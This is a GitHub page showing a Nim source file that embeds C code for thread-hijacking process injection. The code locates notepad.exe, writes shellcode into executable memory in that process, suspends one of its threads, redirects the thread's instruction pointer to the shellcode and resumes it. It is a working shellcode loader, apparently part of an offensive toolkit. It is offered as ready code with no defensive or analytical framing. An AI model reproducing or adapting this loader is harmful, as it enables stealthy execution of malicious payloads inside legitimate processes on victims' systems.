-
Notifications
You must be signed in to change notification settings - Fork 119
/
Copy pathThread_Hiijack_Inject_Load.nim
52 lines (49 loc) · 1.6 KB
/
Thread_Hiijack_Inject_Load.nim
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import public
{.emit: """
#include <TlHelp32.h>
int Thread(char *shellcode,SIZE_T shellcodeSize)
{
HANDLE targetProcessHandle;
PVOID remoteBuffer;
HANDLE threadHijacked = NULL;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
THREADENTRY32 threadEntry;
CONTEXT context;
PROCESSENTRY32 processEntry = { 0 };
processEntry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot, &processEntry))
{
while (strcmp(processEntry.szExeFile, (const char *)"notepad.exe") != 0)
{
Process32Next(snapshot, &processEntry);
}
}
DWORD targetPID = processEntry.th32ProcessID;
context.ContextFlags = CONTEXT_FULL;
threadEntry.dwSize = sizeof(THREADENTRY32);
targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, shellcodeSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, shellcodeSize, NULL);
Thread32First(snapshot, &threadEntry);
while (Thread32Next(snapshot, &threadEntry))
{
if (threadEntry.th32OwnerProcessID == targetPID)
{
threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
break;
}
}
SuspendThread(threadHijacked);
GetThreadContext(threadHijacked, &context);
#ifdef _M_X64
context.Rip = (DWORD_PTR)remoteBuffer;
#else
context.Eip = (DWORD_PTR)remoteBuffer;
#endif // x64
SetThreadContext(threadHijacked, &context);
ResumeThread(threadHijacked);
return 0;
}
""".}
proc Thread(plainBuffer:cstring,size:cint):cint {.importcpp:"Thread(@)",nodecl.}
discard Thread(code,codelen)